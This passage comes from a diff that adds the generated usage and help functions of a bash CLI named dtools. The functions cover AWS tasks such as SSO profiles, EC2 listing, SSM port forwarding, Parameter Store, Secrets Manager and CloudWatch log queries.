:command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_export_sso_creds_usage() { + if [[ -n $long_usage ]]; then + printf "dtools aws export-sso-creds\n\n" + printf " Exports SSO credentials to environment variables for use with AWS SDKs\n This includes all of the following variables: \n \n AWS_ACCESS_KEY_ID\n AWS_SECRET_ACCESS_KEY\n AWS_SESSION_TOKEN\n AWS_CREDENTIAL_EXPIRATION\n AWS_REGION\n\n" + else + printf "dtools aws export-sso-creds - Exports SSO credentials to environment variables for use with AWS SDKs\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws export-sso-creds [OPTIONS]\n" + printf " dtools aws export-sso-creds --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_generate_sso_profiles_usage() { + if [[ -n $long_usage ]]; then + printf "dtools aws generate-sso-profiles\n\n" + printf " Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI\n connectivity.\n \n In the event that the script fails automation when selecting an account to use\n for the basic setup,\n you can manually perform this first step by running 'aws configure sso', use\n 'https://d-123456789ab.awsapps.com/start'\n as the SSO Start URL, and use any account with any settings. Then you can run\n this command again for it\n to work properly.\n\n" + else + printf "dtools aws generate-sso-profiles - Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws generate-sso-profiles [OPTIONS]\n" + printf " dtools aws generate-sso-profiles --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--backup")" + printf " Create a backup of the previous AWS config\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--default-cli-region, -d DEFAULT-CLI-REGION")" + printf " The default CLI region for each profile.\n Defaults to using the same region as the provided SSO region\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--sso-region, -r SSO-REGION (required)")" + printf " The region for SSO accounts\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--sso-start-url, -u SSO-START-URL (required)")" + printf " The start URL for SSO authentication\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws generate-sso-profiles -u https://d-123456789ab.awsapps.com/start -r\n us-east-1\n" + echo + + fi +} + +# :command.usage +dtools_aws_ec2_usage() { + printf "dtools aws ec2 - EC2 commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ec2 COMMAND\n" + printf " dtools aws ec2 [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s List all EC2 instances in the account\n" "$(green "list-instances")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ec2_list_instances_usage() { + printf "dtools aws ec2 list-instances - List all EC2 instances in the account\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ec2 list-instances [OPTIONS]\n" + printf " dtools aws ec2 list-instances --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the list of all instances in the full detailed format\n" + printf " %s\n" "Conflicts: --filter" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--filter, -f FILTER (repeatable)")" + printf " Filter the output to only show the specified information\n" + printf " %s\n" "Allowed: instance-id, instance-type, private-dns-name, private-ip-address, public-dns-name, subnet-id, vpc-id, tags, launch-time, availability-zone, state, architecture, instance-profile, security-groups, os" + printf " %s\n" "Conflicts: --detailed" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_usage() { + printf "dtools aws ssm - SSM commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm COMMAND\n" + printf " dtools aws ssm [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n" "$(green "start-port-forwarding") " + printf " %s Start an EC2 instance to act as a bastion host for ngrok\n" "$(green "start-ngrok-bastion-instance")" + printf " %s List all AWS SSM Parameter Store parameters\n" "$(green "list-parameters") " + printf " %s Get the value of an AWS SSM Parameter Store parameter\n" "$(green "get-parameter") " + printf " %s Create a new parameter in AWS SSM Parameter Store\n" "$(green "create-parameter") " + printf " %s Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n" "$(green "update-parameter") " + printf " %s Delete a parameter from AWS SSM Parameter Store\n" "$(green "delete-parameter") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_start_port_forwarding_usage() { + printf "dtools aws ssm start-port-forwarding - Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm start-port-forwarding INSTANCE-ID [OPTIONS]\n" + printf " dtools aws ssm start-port-forwarding --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--remote-port REMOTE-PORT")" + printf " The port number of the server on the EC2 instance\n" + printf " %s\n" "Default: 80" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--local-port LOCAL-PORT")" + printf " The port number on the local machine to forward traffic to. An open port is\n chosen at run-time if not provided.\n" + printf " %s\n" "Default: 0" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--host HOST")" + printf " Hostname or IP address of the destination server\n" + printf " %s\n" "Default: localhost" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "INSTANCE-ID")" + printf " The ID of the EC2 instance to connect to\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws start-port-forwarding i-0892eeaed80a5b00b --remote-port 5432\n --local-port 5432 --host\n prod-postgres.ctm8i4qgknv3.us-east-1.rds.amazonaws.com --profile prod --region\n us-east-1\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_start_ngrok_bastion_instance_usage() { + printf "dtools aws ssm start-ngrok-bastion-instance - Start an EC2 instance to act as a bastion host for ngrok\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm start-ngrok-bastion-instance [OPTIONS]\n" + printf " dtools aws ssm start-ngrok-bastion-instance --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--hostname (required)")" + printf " The hostname to forward connections to. \n This will be hostnames like the ones that are only accessible via AWS ECS\n Service Discovery (e.g. api.caerus.local)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--subnet-id (required)")" + printf " The subnet ID that the instance is to be deployed into\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--port PORT")" + printf " The port on the destination hostname to forward connections to\n" + printf " %s\n" "Default: 8080" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ngrok-url, -u NGROK_URL (required)")" + printf " The ngrok URL to connect to\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ngrok-auth-token, -a NGROK_AUTH_TOKEN (required)")" + printf " The ngrok authentication token\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_list_parameters_usage() { + printf "dtools aws ssm list-parameters - List all AWS SSM Parameter Store parameters\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm list-parameters [OPTIONS]\n" + printf " dtools aws ssm list-parameters --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the list of all parameters in the detailed format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_get_parameter_usage() { + printf "dtools aws ssm get-parameter - Get the value of an AWS SSM Parameter Store parameter\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm get-parameter PARAMETER_NAME [OPTIONS]\n" + printf " dtools aws ssm get-parameter --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the parameter value in detailed format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PARAMETER_NAME")" + printf " The name of the parameter to retrieve\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_create_parameter_usage() { + printf "dtools aws ssm create-parameter - Create a new parameter in AWS SSM Parameter Store\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm create-parameter [OPTIONS]\n" + printf " dtools aws ssm create-parameter --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--name NAME (required)")" + printf " Name for the new parameter\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--value VALUE (required)")" + printf " The value of the parameter to be stored\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_update_parameter_usage() { + printf "dtools aws ssm update-parameter - Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm update-parameter [OPTIONS]\n" + printf " dtools aws ssm update-parameter --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--name NAME (required)")" + printf " Name of the parameter to update\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--value VALUE (required)")" + printf " The value of the parameter to be stored\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_ssm_delete_parameter_usage() { + printf "dtools aws ssm delete-parameter - Delete a parameter from AWS SSM Parameter Store\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws ssm delete-parameter PARAMETER_NAME [OPTIONS]\n" + printf " dtools aws ssm delete-parameter --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PARAMETER_NAME")" + printf " The name of the parameter to delete\n" + echo + + fi +} + +# :command.usage +dtools_aws_secretsmanager_usage() { + printf "dtools aws secretsmanager - Secrets Manager commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws secretsmanager COMMAND\n" + printf " dtools aws secretsmanager [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s List all AWS Secrets Manager secrets\n" "$(green "list-secrets") " + printf " %s Show the secret value for the specified secret\n" "$(green "show-secret") " + printf " %s Create a new secret in Secrets Manager\n" "$(green "create-secret")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_secretsmanager_list_secrets_usage() { + printf "dtools aws secretsmanager list-secrets - List all AWS Secrets Manager secrets\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws secretsmanager list-secrets [OPTIONS]\n" + printf " dtools aws secretsmanager list-secrets --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the list of all secrets in the detailed format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_secretsmanager_show_secret_usage() { + printf "dtools aws secretsmanager show-secret - Show the secret value for the specified secret\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws secretsmanager show-secret SECRET_ID [OPTIONS]\n" + printf " dtools aws secretsmanager show-secret --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the secret value in detailed format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "SECRET_ID")" + printf " The secret ID for which the value needs to be displayed\n" + echo + + fi +} + +# :command.usage +dtools_aws_secretsmanager_create_secret_usage() { + printf "dtools aws secretsmanager create-secret - Create a new secret in Secrets Manager\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws secretsmanager create-secret [OPTIONS]\n" + printf " dtools aws secretsmanager create-secret --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--name NAME (required)")" + printf " Name for the new secret\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--secret-string SECRET_STRING (required)")" + printf " The secret string to be stored\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_logs_usage() { + printf "dtools aws logs - AWS Logs commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws logs COMMAND\n" + printf " dtools aws logs [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s List all of the log groups in CloudWatch\n" "$(green "list-log-groups") " + printf " %s Tails the specified CloudWatch log group\n" "$(green "tail-log-group") " + printf " %s Query one or more log groups with the given query string\n" "$(green "query-log-groups")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_logs_list_log_groups_usage() { + printf "dtools aws logs list-log-groups - List all of the log groups in CloudWatch\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws logs list-log-groups [OPTIONS]\n" + printf " dtools aws logs list-log-groups --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--detailed")" + printf " Output the list of all CloudWatch log groups in the full detailed format\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_logs_tail_log_group_usage() { + printf "dtools aws logs tail-log-group - Tails the specified CloudWatch log group\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws logs tail-log-group LOG-GROUP [OPTIONS]\n" + printf " dtools aws logs tail-log-group --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--since, -s SINCE")" + printf " The time to start tailing the log group from\n" + printf " %s\n" "Default: 10m" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--verbose, -v")" + printf " Show verbose log output\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--stdout")" + printf " Show the log output in stdout\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "LOG-GROUP")" + printf " The name of the log group to tail\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws tail-log-group /aws/lambda/test-lambda-1\n" + echo + + fi +} + +# :command.usage +dtools_aws_logs_query_log_groups_usage() { + printf "dtools aws logs query-log-groups - Query one or more log groups with the given query string\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws logs query-log-groups [QUERY] [OPTIONS]\n" + printf " dtools aws logs query-log-groups --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--log-group-name, -l LOG_GROUP_NAME (required) (repeatable)")" + printf " The names of a log group to query for\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--start-time START_TIME (required)")" + printf " The start time for the query (ISO 8601)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--end-time END_TIME (required)")" + printf " The end time for the query (ISO 8601)\n" + echo + + # :command.usage_fixed_flags + printf " 